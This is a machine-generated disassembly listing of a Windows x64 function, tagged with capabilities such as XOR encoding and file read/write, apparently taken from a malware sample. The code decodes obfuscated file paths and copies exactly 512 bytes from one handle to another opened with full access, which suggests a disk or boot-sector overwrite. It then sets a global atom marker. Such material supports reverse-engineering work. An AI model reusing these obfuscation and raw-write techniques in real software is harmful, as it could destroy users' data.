Function at 0x140051ee0
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rdi
mov qword [r11 + 0x20], r14
push rbp
lea rbp, [r11 - 0x5f]
sub rsp, 0xa0
mov rax, qword [0x1400e4180]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov eax, dword [0x1400cf478]
xor r14d, r14d
cmp dword [0x1400e41d0], 2
mov ecx, r14d
movups xmm3, xmmword [0x1400cf458]
mov dword [rbp + 0x2f], eax
movups xmm0, xmmword [0x1400cf468]
movzx eax, word [0x1400cf47c]
movups xmmword [rbp + 0xf], xmm3
mov word [rbp + 0x33], ax
movups xmmword [rbp + 0x1f], xmm0
jl 0x140051c6c
movdqa xmm4, xmmword [0x1400d0350]
movdqa xmm2, xmmword [0x1400cfe20]
movdqa xmm5, xmmword [str.1111]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [r11 - 0x18], xmm6
movdqa xmm6, xmmword [str.11111111]
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshufhw xmm0, xmm2, 0xd8
pshuflw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movq xmm1, xmm3
movdqa xmm3, xmmword [0x1400cfe40]
paddw xmm2, xmm6
xorps xmm2, xmm1
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
movdqa xmm1, xmm3
pmuldq xmm0, xmm4
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movq qword [rbp + 0xf], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
movdqa xmm3, xmmword [0x1400cfe50]
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x17]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
paddw xmm2, xmm6
xorps xmm2, xmm0
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
movq qword [rbp + 0x17], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
movdqa xmm3, xmmword [0x1400cfe60]
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x1f]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
paddw xmm2, xmm6
xorps xmm2, xmm0
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
movq qword [rbp + 0x1f], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm3, xmm0
pshufhw xmm0, xmm3, 0xd8
mov ecx, 0x10
pshuflw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x27]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmm6
movaps xmm6, xmmword [r11 - 0x18]
xorps xmm2, xmm0
movq qword [rbp + 0x27], xmm2
mov eax, ecx
lea r8, [rbp + 0xf]
lea r8, [r8 + rax*2]
nop word [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 2]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul edx, eax, 0x31
add dx, cx
inc ecx
xor word [r8 - 2], dx
cmp ecx, 0x13
jl 0x140051c80
mov qword [rsp + 0x30], r14
lea rcx, [rbp + 0xf]
mov dword [rsp + 0x28], r14d
xor r9d, r9d
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
mov r8d, 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x140051e00
mov edx, dword [0x1400cf050]
mov eax, 0x2e
movzx ecx, word [0x1400cf054]
xor r9d, r9d
movups xmm0, xmmword [0x1400cf040]
mov dword [rbp + 7], edx
xor cx, 0x3b
xor word [rbp + 9], 0x3a
xor dx, 0x39
movups xmmword [rbp - 9], xmm0
xor word [rbp - 7], 0x32
xor r8d, r8d
xor word [rbp - 5], 0x33
xor word [rbp - 3], 0x34
xor word [rbp - 1], 0x35
xor word [rbp + 1], 0x36
xor word [rbp + 3], 0x37
xor word [rbp + 5], 0x38
mov word [rbp + 7], dx
mov edx, 0x80000000
mov word [rbp + 0xb], cx
lea rcx, [rbp - 9]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov qword [rsp + 0xb0], rbx
mov word [rbp - 9], ax
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140051df8
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x200
jne 0x140051df8
mov ecx, 0x200
mov qword [rsp + 0xb8], rsi
call fcn.140092a1c
lea r9, [rbp + 0x37]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rax
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140051dde
lea r9, [rbp + 0x37]
mov qword [rsp + 0x20], r14
mov r8d, 0x200
mov rdx, rsi
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0xb8]
mov rbx, qword [rsp + 0xb0]
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.140092760
lea r11, [rsp + 0xa0]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
sub rsp, 0x38
cmp byte [0x1400cf55d], 0
movsd xmm0, qword [str.SRWZKM]
movzx eax, word [0x1400cf55c]
mov edx, dword [0x1400cf558]
movsd qword [rsp + 0x20], xmm0
mov word [rsp + 0x2c], ax
mov dword [rsp + 0x28], edx
je 0x1400520af
xor ecx, ecx
cmp dword [0x1400e41d0], 2
jl 0x14005206e
movdqa xmm5, xmmword [0x1400d0350]
mov ecx, 0xc
movdqa xmm2, xmmword [0x1400cfe20]
movdqa xmm3, xmmword [0x1400cfe50]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1400cfef0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
psubd xmm2, xmm0
movd xmm0, dword [str.SRWZKM]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400cff40]
xorps xmm2, xmm0
movd dword [rsp + 0x20], xmm2
movdqa xmm2, xmmword [0x1400cfe40]
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm5
pmuldq xmm1, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
movdqa xmm1, xmm3
pmulld xmm0, xmmword [str.1111]
psubd xmm2, xmm0
punpckldq xmm1, xmm3
movd xmm0, dword [rsp + 0x24]
andps xmm2, xmm4
packuswb xmm2, xmm2
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x1400cff40]
xorps xmm2, xmm0
pmuldq xmm1, xmm5
movdqa xmm0, xmm3
movd dword [rsp + 0x24], xmm2
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm5
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [str.1111]
psubd xmm3, xmm0
movd xmm0, edx
andps xmm3, xmm4
packuswb xmm3, xmm3
packuswb xmm3, xmm3
paddb xmm3, xmmword [0x1400cff40]
xorps xmm3, xmm0
movd dword [rsp + 0x28], xmm3
mov eax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop dword [rax + rax]
mov eax, 0x5397829d
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul edx, eax, 0x31
add dl, cl
inc ecx
xor byte [r8 - 1], dl
cmp ecx, 0xe
jl 0x140052080
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140051e30
add rsp, 0x38
jmp 0x140051a60